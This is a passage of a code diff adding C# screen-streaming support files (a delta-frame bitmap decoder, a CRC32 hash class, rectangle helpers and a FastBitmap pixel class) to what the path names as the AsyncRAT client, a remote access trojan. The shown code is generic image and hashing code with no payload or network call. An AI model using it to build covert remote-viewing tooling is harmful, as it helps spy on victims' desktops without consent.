||||||
|
fixed (byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
return decodedBitmap;
|
||||||
|
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||||
|
if (DataSize > 0)
|
||||||
|
{
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
for (int i = 4; DataSize > 0; )
|
||||||
|
{
|
||||||
|
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||||
|
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||||
|
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||||
|
byte[] temp = new byte[UpdateLen];
|
||||||
|
|
||||||
|
fixed(byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||||
|
{
|
||||||
|
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
i += UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
}
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
using (Graphics g = Graphics.FromImage(decodedBitmap))
|
||||||
|
{
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
tempData = null;
|
||||||
|
|
||||||
|
byte[] buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
using (MemoryStream m = new MemoryStream(buffer))
|
||||||
|
using (Bitmap tmp = (Bitmap)Image.FromStream(m))
|
||||||
|
{
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
}
|
||||||
|
buffer = null;
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
186
AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs
Normal file
186
AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs
Normal file
@ -0,0 +1,186 @@
|
|||||||
|
// Tamir Khason http://khason.net/
|
||||||
|
//
|
||||||
|
// Released under MS-PL : 6-Apr-09
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
using System.Collections;
|
||||||
|
using System.IO;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
/// <summary>Implements a 32-bits cyclic redundancy check (CRC) hash algorithm.</summary>
|
||||||
|
/// <remarks>This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384,
|
||||||
|
/// or SHA512 in the System.Security.Cryptography namespace.</remarks>
|
||||||
|
public class CRC32 : HashAlgorithm
|
||||||
|
{
|
||||||
|
#region CONSTRUCTORS
|
||||||
|
/// <summary>Creates a CRC32 object using the <see cref="DefaultPolynomial"/>.</summary>
|
||||||
|
public CRC32()
|
||||||
|
: this(DefaultPolynomial)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Creates a CRC32 object using the specified polynomial.</summary>
|
||||||
|
/// <remarks>The polynomical should be supplied in its bit-reflected form. <see cref="DefaultPolynomial"/>.</remarks>
|
||||||
|
public CRC32(uint polynomial)
|
||||||
|
{
|
||||||
|
HashSizeValue = 32;
|
||||||
|
_crc32Table = (uint[])_crc32TablesCache[polynomial];
|
||||||
|
if (_crc32Table == null)
|
||||||
|
{
|
||||||
|
_crc32Table = CRC32._buildCRC32Table(polynomial);
|
||||||
|
_crc32TablesCache.Add(polynomial, _crc32Table);
|
||||||
|
}
|
||||||
|
Initialize();
|
||||||
|
}
|
||||||
|
|
||||||
|
// static constructor
|
||||||
|
static CRC32()
|
||||||
|
{
|
||||||
|
_crc32TablesCache = Hashtable.Synchronized(new Hashtable());
|
||||||
|
_defaultCRC = new CRC32();
|
||||||
|
}
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
#region PROPERTIES
|
||||||
|
/// <summary>Gets the default polynomial (used in WinZip, Ethernet, etc.)</summary>
|
||||||
|
/// <remarks>The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc.</remarks>
|
||||||
|
public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7;
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
#region METHODS
|
||||||
|
/// <summary>Initializes an implementation of HashAlgorithm.</summary>
|
||||||
|
public override void Initialize()
|
||||||
|
{
|
||||||
|
_crc = _allOnes;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Routes data written to the object into the hash algorithm for computing the hash.</summary>
|
||||||
|
protected override void HashCore(byte[] buffer, int offset, int count)
|
||||||
|
{
|
||||||
|
for (int i = offset; i < count; i++)
|
||||||
|
{
|
||||||
|
ulong ptr = (_crc & 0xFF) ^ buffer[i];
|
||||||
|
_crc >>= 8;
|
||||||
|
_crc ^= _crc32Table[ptr];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Finalizes the hash computation after the last data is processed by the cryptographic stream object.</summary>
|
||||||
|
protected override byte[] HashFinal()
|
||||||
|
{
|
||||||
|
byte[] finalHash = new byte[4];
|
||||||
|
ulong finalCRC = _crc ^ _allOnes;
|
||||||
|
|
||||||
|
finalHash[0] = (byte)((finalCRC >> 0) & 0xFF);
|
||||||
|
finalHash[1] = (byte)((finalCRC >> 8) & 0xFF);
|
||||||
|
finalHash[2] = (byte)((finalCRC >> 16) & 0xFF);
|
||||||
|
finalHash[3] = (byte)((finalCRC >> 24) & 0xFF);
|
||||||
|
|
||||||
|
return finalHash;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the CRC32 value for the given ASCII string using the <see cref="DefaultPolynomial"/>.</summary>
|
||||||
|
public static int Compute(string asciiString)
|
||||||
|
{
|
||||||
|
_defaultCRC.Initialize();
|
||||||
|
return ToInt32(_defaultCRC.ComputeHash(asciiString));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the CRC32 value for the given input stream using the <see cref="DefaultPolynomial"/>.</summary>
|
||||||
|
public static int Compute(Stream inputStream)
|
||||||
|
{
|
||||||
|
_defaultCRC.Initialize();
|
||||||
|
return ToInt32(_defaultCRC.ComputeHash(inputStream));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the CRC32 value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
|
||||||
|
public static int Compute(byte[] buffer)
|
||||||
|
{
|
||||||
|
_defaultCRC.Initialize();
|
||||||
|
return ToInt32(_defaultCRC.ComputeHash(buffer));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the hash value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
|
||||||
|
public static int Compute(byte[] buffer, int offset, int count)
|
||||||
|
{
|
||||||
|
_defaultCRC.Initialize();
|
||||||
|
return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the hash value for the given ASCII string.</summary>
|
||||||
|
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||||
|
public byte[] ComputeHash(string asciiString)
|
||||||
|
{
|
||||||
|
byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString);
|
||||||
|
return ComputeHash(rawBytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the hash value for the given input stream.</summary>
|
||||||
|
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||||
|
new public byte[] ComputeHash(Stream inputStream)
|
||||||
|
{
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int bytesRead;
|
||||||
|
while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0)
|
||||||
|
{
|
||||||
|
HashCore(buffer, 0, bytesRead);
|
||||||
|
}
|
||||||
|
return HashFinal();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the hash value for the input data.</summary>
|
||||||
|
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||||
|
new public byte[] ComputeHash(byte[] buffer)
|
||||||
|
{
|
||||||
|
return ComputeHash(buffer, 0, buffer.Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the hash value for the input data.</summary>
|
||||||
|
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||||
|
new public byte[] ComputeHash(byte[] buffer, int offset, int count)
|
||||||
|
{
|
||||||
|
HashCore(buffer, offset, count);
|
||||||
|
return HashFinal();
|
||||||
|
}
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
#region PRIVATE SECTION
|
||||||
|
private static uint _allOnes = 0xffffffff;
|
||||||
|
private static CRC32 _defaultCRC;
|
||||||
|
private static Hashtable _crc32TablesCache;
|
||||||
|
private uint[] _crc32Table;
|
||||||
|
private uint _crc;
|
||||||
|
|
||||||
|
// Builds a crc32 table given a polynomial
|
||||||
|
private static uint[] _buildCRC32Table(uint polynomial)
|
||||||
|
{
|
||||||
|
uint crc;
|
||||||
|
uint[] table = new uint[256];
|
||||||
|
|
||||||
|
// 256 values representing ASCII character codes.
|
||||||
|
for (int i = 0; i < 256; i++)
|
||||||
|
{
|
||||||
|
crc = (uint)i;
|
||||||
|
for (int j = 8; j > 0; j--)
|
||||||
|
{
|
||||||
|
if ((crc & 1) == 1)
|
||||||
|
crc = (crc >> 1) ^ polynomial;
|
||||||
|
else
|
||||||
|
crc >>= 1;
|
||||||
|
}
|
||||||
|
table[i] = crc;
|
||||||
|
}
|
||||||
|
|
||||||
|
return table;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int ToInt32(byte[] buffer)
|
||||||
|
{
|
||||||
|
return BitConverter.ToInt32(buffer, 0);
|
||||||
|
}
|
||||||
|
#endregion
|
||||||
|
}
|
||||||
|
}
|
||||||
12
AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs
Normal file
12
AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace System.Runtime.CompilerServices
|
||||||
|
{
|
||||||
|
[AttributeUsage(AttributeTargets.Method)]
|
||||||
|
public sealed class ExtensionAttribute : Attribute
|
||||||
|
{
|
||||||
|
public ExtensionAttribute() { }
|
||||||
|
}
|
||||||
|
}
|
||||||
59
AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs
Normal file
59
AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs
Normal file
@ -0,0 +1,59 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public static unsafe class Extensions
|
||||||
|
{
|
||||||
|
public static SortedList<int, SortedList<int, Rectangle>> RectanglesTo2D(this Rectangle[] rects)
|
||||||
|
{
|
||||||
|
SortedList<int, SortedList<int, Rectangle>> Rects = new SortedList<int, SortedList<int, Rectangle>>();
|
||||||
|
for (int i = 0; i < rects.Length; i++)
|
||||||
|
{
|
||||||
|
if (!Rects.ContainsKey(rects[i].Y))
|
||||||
|
Rects.Add(rects[i].Y, new SortedList<int, Rectangle>());
|
||||||
|
|
||||||
|
if (!Rects[rects[i].Y].ContainsKey(rects[i].X))
|
||||||
|
Rects[rects[i].Y].Add(rects[i].X, rects[i]);
|
||||||
|
}
|
||||||
|
return Rects;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static SortedList<int, SortedList<int, Rectangle>> Rectangle2DToRows(this SortedList<int, SortedList<int, Rectangle>> Rects)
|
||||||
|
{
|
||||||
|
SortedList<int, SortedList<int, Rectangle>> RectRows = new SortedList<int, SortedList<int, Rectangle>>();
|
||||||
|
|
||||||
|
for (int i = 0; i < Rects.Values.Count; i++)
|
||||||
|
{
|
||||||
|
if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y))
|
||||||
|
{
|
||||||
|
RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList<int, Rectangle>());
|
||||||
|
}
|
||||||
|
if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X))
|
||||||
|
{
|
||||||
|
RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
Rectangle EndRect = Rects.Values[i].Values[0];
|
||||||
|
for (int x = 1; x < Rects.Values[i].Values.Count; x++)
|
||||||
|
{
|
||||||
|
Rectangle CurRect = Rects.Values[i].Values[x];
|
||||||
|
Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1];
|
||||||
|
if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height)))
|
||||||
|
{
|
||||||
|
RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height);
|
||||||
|
EndRect = Rects.Values[i].Values[x];
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
EndRect = Rects.Values[i].Values[x];
|
||||||
|
RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return RectRows;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
353
AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs
Normal file
353
AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs
Normal file
@ -0,0 +1,353 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public unsafe class FastBitmap
|
||||||
|
{
|
||||||
|
public Bitmap bitmap { get; set; }
|
||||||
|
public BitmapData bitmapData { get; private set; }
|
||||||
|
public int Width { get; private set; }
|
||||||
|
public int Height { get; private set; }
|
||||||
|
public PixelFormat format { get; private set; }
|
||||||
|
public DateTime BitmapCreatedAt;
|
||||||
|
public bool IsLocked { get; private set; }
|
||||||
|
|
||||||
|
public int Stride
|
||||||
|
{
|
||||||
|
get { return bitmapData.Stride; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public FastBitmap(Bitmap bitmap, PixelFormat format)
|
||||||
|
{
|
||||||
|
switch (format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
case PixelFormat.Format32bppRgb:
|
||||||
|
case PixelFormat.Format8bppIndexed:
|
||||||
|
case PixelFormat.Format4bppIndexed:
|
||||||
|
case PixelFormat.Format1bppIndexed:
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(format + " is not supported.");
|
||||||
|
}
|
||||||
|
|
||||||
|
this.bitmap = bitmap;
|
||||||
|
this.Width = this.bitmap.Width;
|
||||||
|
this.Height = this.bitmap.Height;
|
||||||
|
this.format = format;
|
||||||
|
Lock();
|
||||||
|
BitmapCreatedAt = DateTime.Now;
|
||||||
|
}
|
||||||
|
|
||||||
|
public FastBitmap(Bitmap bitmap)
|
||||||
|
{
|
||||||
|
this.format = bitmap.PixelFormat;
|
||||||
|
|
||||||
|
switch (format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
case PixelFormat.Format32bppRgb:
|
||||||
|
case PixelFormat.Format8bppIndexed:
|
||||||
|
case PixelFormat.Format4bppIndexed:
|
||||||
|
case PixelFormat.Format1bppIndexed:
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(format + " is not supported.");
|
||||||
|
}
|
||||||
|
|
||||||
|
this.bitmap = bitmap;
|
||||||
|
this.Width = this.bitmap.Width;
|
||||||
|
this.Height = this.bitmap.Height;
|
||||||
|
this.format = format;
|
||||||
|
Lock();
|
||||||
|
BitmapCreatedAt = DateTime.Now;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Color GetPixel(int x, int y)
|
||||||
|
{
|
||||||
|
byte* position = (byte*)bitmapData.Scan0.ToPointer();
|
||||||
|
position += CalcOffset(x, y);
|
||||||
|
|
||||||
|
byte A = position[3];
|
||||||
|
byte R = position[2];
|
||||||
|
byte G = position[1];
|
||||||
|
byte B = position[0];
|
||||||
|
return Color.FromArgb(A, R, G, B);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void SetPixel(int x, int y, Color color)
|
||||||
|
{
|
||||||
|
byte* position = (byte*)bitmapData.Scan0.ToPointer();
|
||||||
|
position += CalcOffset(x, y);
|
||||||
|
|
||||||
|
position[3] = color.A;
|
||||||
|
position[2] = color.R;
|
||||||
|
position[1] = color.G;
|
||||||
|
position[0] = color.B;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Color GetPixel(int x, int y, byte[] ImgData)
|
||||||
|
{
|
||||||
|
long offset = CalcOffset(x, y) + 4;
|
||||||
|
if (offset + 4 < ImgData.Length)
|
||||||
|
{
|
||||||
|
byte R = ImgData[offset];
|
||||||
|
byte G = ImgData[offset + 1];
|
||||||
|
byte B = ImgData[offset + 2];
|
||||||
|
return Color.FromArgb(255, R, G, B);
|
||||||
|
}
|
||||||
|
return Color.FromArgb(255, 0, 0, 0);
|
||||||
|
}
|
||||||
|
public void SetPixel(int x, int y, Color color, byte[] ImgData)
|
||||||
|
{
|
||||||
|
long offset = CalcOffset(x, y) + 4;
|
||||||
|
if (offset + 4 < ImgData.Length)
|
||||||
|
{
|
||||||
|
ImgData[offset] = color.R;
|
||||||
|
ImgData[offset + 1] = color.G;
|
||||||
|
ImgData[offset + 2] = color.B;
|
||||||
|
ByteArrayToBitmap(ImgData);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void DrawRectangle(Point begin, Point end, Color color)
|
||||||
|
{
|
||||||
|
for (int x = begin.X; x < end.X; x++)
|
||||||
|
{
|
||||||
|
for (int y = begin.Y; y < end.Y; y++)
|
||||||
|
{
|
||||||
|
SetPixel(x, y, color);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Int64 CalcOffset(int x, int y)
|
||||||
|
{
|
||||||
|
switch (format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
return (y * bitmapData.Stride) + (x * 4);
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
case PixelFormat.Format32bppRgb:
|
||||||
|
return (y * bitmapData.Stride) + (x * 3);
|
||||||
|
case PixelFormat.Format8bppIndexed:
|
||||||
|
return (y * bitmapData.Stride) + x;
|
||||||
|
case PixelFormat.Format4bppIndexed:
|
||||||
|
return (y * bitmapData.Stride) + (x / 2);
|
||||||
|
case PixelFormat.Format1bppIndexed:
|
||||||
|
return (y * bitmapData.Stride) + (x * 8);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static int CalcImageOffset(int x, int y, PixelFormat format, int width)
|
||||||
|
{
|
||||||
|
switch (format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
return (y * (width * 4)) + (x * 4);
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
case PixelFormat.Format32bppRgb:
|
||||||
|
return (y * (width * 3)) + (x * 3);
|
||||||
|
case PixelFormat.Format8bppIndexed:
|
||||||
|
return (y * width) + x;
|
||||||
|
case PixelFormat.Format4bppIndexed:
|
||||||
|
return (y * (width / 2)) + (x / 2);
|
||||||
|
case PixelFormat.Format1bppIndexed:
|
||||||
|
return (y * (width * 8)) + (x * 8);
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(format + " is not supported.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor)
|
||||||
|
{
|
||||||
|
Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y);
|
||||||
|
for (int x = BeginPoint.X; x < this.Width; x++)
|
||||||
|
{
|
||||||
|
Color prevColor = GetPixel(x, BeginPoint.Y);
|
||||||
|
|
||||||
|
if (curColor.R != prevColor.R ||
|
||||||
|
curColor.G != prevColor.G ||
|
||||||
|
curColor.B != prevColor.B)
|
||||||
|
{
|
||||||
|
EndPoint = new Point(x, BeginPoint.Y);
|
||||||
|
RetColor = curColor;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
EndPoint = new Point(this.Width, BeginPoint.Y);
|
||||||
|
RetColor = curColor;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Unlock()
|
||||||
|
{
|
||||||
|
if (IsLocked)
|
||||||
|
{
|
||||||
|
bitmap.UnlockBits(bitmapData);
|
||||||
|
IsLocked = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public void Lock()
|
||||||
|
{
|
||||||
|
if (!IsLocked)
|
||||||
|
{
|
||||||
|
bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format);
|
||||||
|
IsLocked = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] ToByteArray()
|
||||||
|
{
|
||||||
|
int bytes = Math.Abs(bitmapData.Stride) * Height;
|
||||||
|
byte[] rgbValues = new byte[bytes];
|
||||||
|
System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes);
|
||||||
|
return rgbValues;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void ByteArrayToBitmap(byte[] data)
|
||||||
|
{
|
||||||
|
System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Dispose()
|
||||||
|
{
|
||||||
|
if (bitmap != null)
|
||||||
|
{
|
||||||
|
try { bitmap.UnlockBits(bitmapData); }
|
||||||
|
catch { }
|
||||||
|
try { bitmap.Dispose(); }
|
||||||
|
catch { }
|
||||||
|
try
|
||||||
|
{
|
||||||
|
bitmap = null;
|
||||||
|
bitmapData = null;
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary> Get the byte points where to read from in a byte array </summary>
|
||||||
|
/// <param name="beginPoint">The beginning of the X, Y</param>
|
||||||
|
/// <param name="endPoint">The end of the X, Y</param>
|
||||||
|
/// <param name="ImgSize">The size of the image</param>
|
||||||
|
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
|
||||||
|
public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format)
|
||||||
|
{
|
||||||
|
List<ArrayOffset> offsets = new List<ArrayOffset>();
|
||||||
|
|
||||||
|
for (int y = beginPoint.Y; y < endPoint.Y; y++)
|
||||||
|
{
|
||||||
|
int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4);
|
||||||
|
int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4);
|
||||||
|
|
||||||
|
switch (format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
{
|
||||||
|
if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4)
|
||||||
|
break;
|
||||||
|
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
case PixelFormat.Format32bppRgb:
|
||||||
|
{
|
||||||
|
if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3)
|
||||||
|
break;
|
||||||
|
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case PixelFormat.Format8bppIndexed:
|
||||||
|
{
|
||||||
|
if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height))
|
||||||
|
break;
|
||||||
|
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case PixelFormat.Format4bppIndexed:
|
||||||
|
{
|
||||||
|
if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2)
|
||||||
|
break;
|
||||||
|
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case PixelFormat.Format1bppIndexed:
|
||||||
|
{
|
||||||
|
if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8)
|
||||||
|
break;
|
||||||
|
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
{
|
||||||
|
throw new NotSupportedException(format + " is not supported.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
return offsets.ToArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary> Get the byte points in 2D </summary>
|
||||||
|
/// <param name="beginPoint">The beginning of the X, Y</param>
|
||||||
|
/// <param name="endPoint">The end of the X, Y</param>
|
||||||
|
/// <param name="ImgSize">The size of the image</param>
|
||||||
|
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
|
||||||
|
public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format)
|
||||||
|
{
|
||||||
|
int Width = endPoint.X - beginPoint.X;
|
||||||
|
int Height = endPoint.Y - beginPoint.Y;
|
||||||
|
|
||||||
|
float Wsize = ((float)Width / (float)SlicePieces);
|
||||||
|
float Hsize = ((float)Height / (float)SlicePieces);
|
||||||
|
|
||||||
|
//+1 just to make sure we are not going outside the array
|
||||||
|
if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F;
|
||||||
|
if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F;
|
||||||
|
|
||||||
|
ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][];
|
||||||
|
Point tmp = new Point(0, 0);
|
||||||
|
for (int y = beginPoint.Y; y < Height; y += SlicePieces)
|
||||||
|
{
|
||||||
|
for (int x = beginPoint.X; x < Width; x += SlicePieces)
|
||||||
|
{
|
||||||
|
ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format);
|
||||||
|
tmp.X++;
|
||||||
|
}
|
||||||
|
tmp.X = 0;
|
||||||
|
tmp.Y++;
|
||||||
|
}
